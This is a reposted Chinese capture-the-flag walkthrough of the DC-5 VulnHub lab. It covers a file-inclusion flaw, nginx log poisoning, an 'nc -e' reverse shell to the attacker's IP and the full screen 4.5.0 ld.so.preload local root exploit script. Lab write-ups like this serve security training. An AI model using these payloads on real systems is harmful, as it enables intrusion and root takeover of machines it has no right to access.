日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DC-5 vulnhub靶机实战

發布時間:2025/3/21 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DC-5 vulnhub靶机实战 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

首先是使用virtualbox安裝,這里不推薦vmware,會出很多問題。

nmap掃一下子網,看靶機的ip地址:

發現ip是192.168.240.137,開放了80和111端口。

給了提示是個文件包含漏洞,發現在thinkyou.php里面存在,驗證一下。

可以讀到/etc/passwd文件。
接下來就可以利用nginx的日志記錄功能,將一句話寫入到access.log里面,然后用thankyou.php?file=*來執行php語句。


接下來利用nc反彈shell
kali上監聽:nc -nlvp 1234
瀏覽器訪問:http://192.168.240.137/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.240.175 1234

可以看的已經彈回了一個shell.

接下來進行提權:
find / -perm -u=s -type f 2>/dev/null
看看這個用戶有什么root權限命令

看到一個奇怪的screen,搜搜有什么漏洞。

我們用第一個41154.sh.

#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...


按步驟在kali上編譯好libhax.so和rootshell,用wget上傳到靶機上,執行

cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...

這時候執行/tmp/rootshell可以獲得一個root shell.

總結

以上是生活随笔為你收集整理的DC-5 vulnhub靶机实战的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。